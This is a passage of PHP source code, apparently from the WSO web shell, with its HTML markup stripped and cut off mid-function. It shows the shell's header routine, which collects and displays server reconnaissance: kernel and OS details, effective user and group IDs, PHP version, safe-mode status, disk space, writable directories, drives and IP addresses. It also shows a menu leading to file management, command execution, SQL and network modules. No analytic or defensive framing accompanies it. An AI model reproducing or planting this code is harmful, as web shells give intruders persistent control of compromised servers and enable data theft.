";
$freeSpace = @diskfreespace($GLOBALS['cwd']);
$totalSpace = @disk_total_space($GLOBALS['cwd']);
$totalSpace = $totalSpace?$totalSpace:1;
$release = @php_uname('r');
$kernel = @php_uname('s');
if(!function_exists('posix_getegid')) {
$user = @get_current_user();
$uid = @getmyuid();
$gid = @getmygid();
$group = "?";
} else {
$uid = @posix_getpwuid(posix_geteuid());
$gid = @posix_getgrgid(posix_getegid());
$user = $uid['name'];
$uid = $uid['uid'];
$group = $gid['name'];
$gid = $gid['gid'];
}
$cwd_links = '';
$path = explode("/", $GLOBALS['cwd']);
$n=count($path);
for($i=0; $i<$n-1; $i++) {
$cwd_links .= "
".$path[$i]."/";
}
$charsets = array('UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866');
$opt_charsets = '';
foreach($charsets as $item)
$opt_charsets .= '
';
$m = array('Sec Info'=>'SecInfo','Files'=>'FilesMan','Exec'=>'Console','Sql'=>'Sql','Network'=>'Network');
$menu = '';
foreach($m as $k => $v)
$menu .= '
['.$k.'] | ';
$drives = "";
if($GLOBALS['os'] == 'win') {
foreach(range('c','z') as $drive)
if(is_dir($drive.':\\'))
$drives .= '
[ '.$drive.' ] ';
}
echo '
Uname: User: Php: Hdd: Cwd:' . ($GLOBALS['os'] == 'win'?' Drives:':'') . ' | '
. '' . substr(@php_uname(), 0, 120) . ' ' . $uid . ' ( ' . $user . ' ) Group: ' . $gid . ' ( ' . $group . ' ) ' . @phpversion() . ' Safe mode: ' . ($GLOBALS['safe_mode']?'ON':'OFF')
. ' Datetime: ' . date('Y-m-d H:i:s') . ' ' . wsoViewSize($totalSpace) . ' Free: ' . wsoViewSize($freeSpace) . ' ('. (int) ($freeSpace/$totalSpace*100) . '%) ' . $cwd_links . ' '. wsoPermsColor($GLOBALS['cwd']) . ' [ home ] ' . $drives . ' | '
. ' Server IP: ' . @$_SERVER["SERVER_ADDR"] . ' Client IP: ' . $_SERVER['REMOTE_ADDR'] . ' |
'
. '
';
}
function wsoFooter() {
$is_writable = is_writable($GLOBALS['cwd'])?" (Writeable)":" (Not writable)";
echo "